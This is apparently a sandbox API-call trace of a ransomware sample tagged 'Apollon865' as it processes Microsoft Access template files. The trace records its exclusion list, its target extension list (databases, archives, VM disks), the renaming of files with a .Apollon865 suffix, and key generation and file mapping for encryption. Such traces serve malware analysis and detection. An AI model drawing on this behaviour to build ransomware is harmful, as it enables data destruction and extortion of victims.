	[0063.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0063.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0063.228] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0063.229] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0063.229] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.229] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1af700, lpName=0x0) returned 0x14c
	[0063.237] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1af700) returned 0x3740000
	[0063.392] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0063.393] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0063.393] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0063.393] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0063.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.394] UnmapViewOfFile (lpBaseAddress=0x3740000) returned 1
	[0063.425] CloseHandle (hObject=0x14c) returned 1
	[0063.425] CloseHandle (hObject=0x150) returned 1
	[0063.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0063.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0063.426] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.436] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c0db800, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14f30ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c0db800, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0xd45ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Contacts.accdt", cAlternateFileName="CONTAC~1.ACC")) returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".") returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="..") returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="windows") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="bootmgr") returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="temp") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="pagefile.sys") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="boot") returned 1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="ids.txt") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="ntuser.dat") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="perflogs") returned -1
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2="MSBuild") returned -1
	[0063.436] lstrlenW (lpString="Contacts.accdt") returned 14
	[0063.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Charitable Contributions.accdt") returned 86
	[0063.436] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Contacts.accdt" | out: lpString1="Contacts.accdt") returned="Contacts.accdt"
	[0063.436] lstrlenW (lpString="Contacts.accdt") returned 14
	[0063.436] lstrlenW (lpString="Apollon865") returned 10
	[0063.436] lstrcmpiW (lpString1="acts.accdt", lpString2="Apollon865") returned -1
	[0063.436] lstrlenW (lpString=".dll") returned 4
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".dll") returned 1
	[0063.436] lstrlenW (lpString=".lnk") returned 4
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".lnk") returned 1
	[0063.436] lstrlenW (lpString=".ini") returned 4
	[0063.436] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".ini") returned 1
	[0063.437] lstrlenW (lpString=".sys") returned 4
	[0063.437] lstrcmpiW (lpString1="Contacts.accdt", lpString2=".sys") returned 1
	[0063.437] lstrlenW (lpString="Contacts.accdt") returned 14
	[0063.437] lstrlenW (lpString="bak") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0063.437] lstrlenW (lpString="ba_") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0063.437] lstrlenW (lpString="dbb") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0063.437] lstrlenW (lpString="vmdk") returned 4
	[0063.437] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0063.437] lstrlenW (lpString="rar") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0063.437] lstrlenW (lpString="zip") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0063.437] lstrlenW (lpString="tgz") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0063.437] lstrlenW (lpString="vbox") returned 4
	[0063.437] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0063.437] lstrlenW (lpString="vdi") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0063.437] lstrlenW (lpString="vhd") returned 3
	[0063.437] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0063.437] lstrlenW (lpString="vhdx") returned 4
	[0063.437] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0063.437] lstrlenW (lpString="avhd") returned 4
	[0063.437] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0063.437] lstrlenW (lpString="db") returned 2
	[0063.438] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0063.438] lstrlenW (lpString="db2") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0063.438] lstrlenW (lpString="db3") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0063.438] lstrlenW (lpString="dbf") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0063.438] lstrlenW (lpString="mdf") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0063.438] lstrlenW (lpString="mdb") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0063.438] lstrlenW (lpString="sql") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0063.438] lstrlenW (lpString="sqlite") returned 6
	[0063.438] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0063.438] lstrlenW (lpString="sqlite3") returned 7
	[0063.438] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0063.438] lstrlenW (lpString="sqlitedb") returned 8
	[0063.438] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0063.438] lstrlenW (lpString="xml") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0063.438] lstrlenW (lpString="$er") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0063.438] lstrlenW (lpString="4dd") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0063.438] lstrlenW (lpString="4dl") returned 3
	[0063.438] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0063.438] lstrlenW (lpString="^^^") returned 3
	[0063.439] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0063.439] lstrlenW (lpString="abs") returned 3
	[0063.439] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0063.439] lstrlenW (lpString="abx") returned 3
	[0063.439] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0063.439] lstrlenW (lpString="accdb") returned 5
	[0063.439] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0063.439] lstrlenW (lpString="accdc") returned 5
	[0063.439] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0063.439] lstrlenW (lpString="accde") returned 5
	[0063.439] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0063.439] lstrlenW (lpString="accdr") returned 5
	[0063.439] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0063.439] lstrlenW (lpString="accdt") returned 5
	[0063.439] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0063.439] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.Apollon865") returned 81
	[0063.439] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt.apollon865"), dwFlags=0x1) returned 1
	[0063.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\contacts.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0063.450] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=869804) returned 1
	[0063.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0063.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0063.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0063.451] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0063.451] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0063.451] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.452] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd48b0, lpName=0x0) returned 0x14c
	[0063.453] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd48b0) returned 0x2b40000
	[0063.512] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0063.513] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0063.513] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.513] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.513] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0063.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0063.514] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.514] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0063.522] CloseHandle (hObject=0x14c) returned 1
	[0063.522] CloseHandle (hObject=0x150) returned 1
	[0063.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0063.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0063.522] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.664] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DataType", cAlternateFileName="")) returned 1
	[0063.664] lstrcmpiW (lpString1="DataType", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.664] lstrcmpiW (lpString1="DataType", lpString2="Apollon865.txt.exe") returned 1
	[0063.664] lstrcmpiW (lpString1="DataType", lpString2=".") returned 1
	[0063.664] lstrcmpiW (lpString1="DataType", lpString2="..") returned 1
	[0063.664] lstrcmpiW (lpString1="DataType", lpString2="windows") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="bootmgr") returned 1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="temp") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="pagefile.sys") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="boot") returned 1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="ids.txt") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="ntuser.dat") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="perflogs") returned -1
	[0063.665] lstrcmpiW (lpString1="DataType", lpString2="MSBuild") returned -1
	[0063.665] lstrlenW (lpString="DataType") returned 8
	[0063.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Contacts.accdt") returned 70
	[0063.665] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="DataType" | out: lpString1="DataType") returned="DataType"
	[0063.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc08
	[0063.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0063.665] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc10 | out: ListHead=0x5b76b0, ListEntry=0x59fc10) returned 0x5b7990
	[0063.665] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="Apollon865.txt.exe") returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2=".") returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="..") returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="windows") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="bootmgr") returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="temp") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="pagefile.sys") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="boot") returned 1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="ids.txt") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="ntuser.dat") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="perflogs") returned -1
	[0063.665] lstrcmpiW (lpString1="Events.accdt", lpString2="MSBuild") returned -1
	[0063.665] lstrlenW (lpString="Events.accdt") returned 12
	[0063.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType") returned 64
	[0063.665] lstrcpyW (in: lpString1=0x2d3e5c0, lpString2="Events.accdt" | out: lpString1="Events.accdt") returned="Events.accdt"
	[0063.666] lstrlenW (lpString="Events.accdt") returned 12
	[0063.666] lstrlenW (lpString="Apollon865") returned 10
	[0063.666] lstrcmpiW (lpString1="ents.accdt", lpString2="Apollon865") returned 1
	[0063.666] lstrlenW (lpString=".dll") returned 4
	[0063.666] lstrcmpiW (lpString1="Events.accdt", lpString2=".dll") returned 1
	[0063.666] lstrlenW (lpString=".lnk") returned 4
	[0063.666] lstrcmpiW (lpString1="Events.accdt", lpString2=".lnk") returned 1
	[0063.666] lstrlenW (lpString=".ini") returned 4
	[0063.666] lstrcmpiW (lpString1="Events.accdt", lpString2=".ini") returned 1
	[0063.666] lstrlenW (lpString=".sys") returned 4
	[0063.666] lstrcmpiW (lpString1="Events.accdt", lpString2=".sys") returned 1
	[0063.666] lstrlenW (lpString="Events.accdt") returned 12
	[0063.666] lstrlenW (lpString="bak") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0063.666] lstrlenW (lpString="ba_") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0063.666] lstrlenW (lpString="dbb") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0063.666] lstrlenW (lpString="vmdk") returned 4
	[0063.666] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0063.666] lstrlenW (lpString="rar") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0063.666] lstrlenW (lpString="zip") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0063.666] lstrlenW (lpString="tgz") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0063.666] lstrlenW (lpString="vbox") returned 4
	[0063.666] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0063.666] lstrlenW (lpString="vdi") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0063.666] lstrlenW (lpString="vhd") returned 3
	[0063.666] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0063.666] lstrlenW (lpString="vhdx") returned 4
	[0063.666] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0063.666] lstrlenW (lpString="avhd") returned 4
	[0063.667] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0063.667] lstrlenW (lpString="db") returned 2
	[0063.667] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0063.667] lstrlenW (lpString="db2") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0063.667] lstrlenW (lpString="db3") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0063.667] lstrlenW (lpString="dbf") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0063.667] lstrlenW (lpString="mdf") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0063.667] lstrlenW (lpString="mdb") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0063.667] lstrlenW (lpString="sql") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0063.667] lstrlenW (lpString="sqlite") returned 6
	[0063.667] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0063.667] lstrlenW (lpString="sqlite3") returned 7
	[0063.667] lstrcmpiW (lpString1="s.accdt", lpString2="sqlite3") returned -1
	[0063.667] lstrlenW (lpString="sqlitedb") returned 8
	[0063.667] lstrcmpiW (lpString1="ts.accdt", lpString2="sqlitedb") returned 1
	[0063.667] lstrlenW (lpString="xml") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0063.667] lstrlenW (lpString="$er") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0063.667] lstrlenW (lpString="4dd") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0063.667] lstrlenW (lpString="4dl") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0063.667] lstrlenW (lpString="^^^") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0063.667] lstrlenW (lpString="abs") returned 3
	[0063.667] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0063.667] lstrlenW (lpString="abx") returned 3
	[0063.668] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0063.668] lstrlenW (lpString="accdb") returned 5
	[0063.668] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0063.668] lstrlenW (lpString="accdc") returned 5
	[0063.668] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0063.668] lstrlenW (lpString="accde") returned 5
	[0063.668] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0063.668] lstrlenW (lpString="accdr") returned 5
	[0063.668] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0063.668] lstrlenW (lpString="accdt") returned 5
	[0063.668] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0063.668] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.Apollon865") returned 79
	[0063.668] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt.apollon865"), dwFlags=0x1) returned 1
	[0063.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Events.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\events.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0063.700] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=193199) returned 1
	[0063.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0063.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0063.701] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0063.701] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0063.702] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0063.702] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.702] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f5b0, lpName=0x0) returned 0x14c
	[0063.704] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2f5b0) returned 0x1a0000
	[0063.807] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0063.807] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0063.807] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0063.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.807] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.807] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.808] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0063.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0063.808] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.808] UnmapViewOfFile (lpBaseAddress=0x1a0000) returned 1
	[0063.810] CloseHandle (hObject=0x14c) returned 1
	[0063.810] CloseHandle (hObject=0x154) returned 1
	[0063.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0063.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
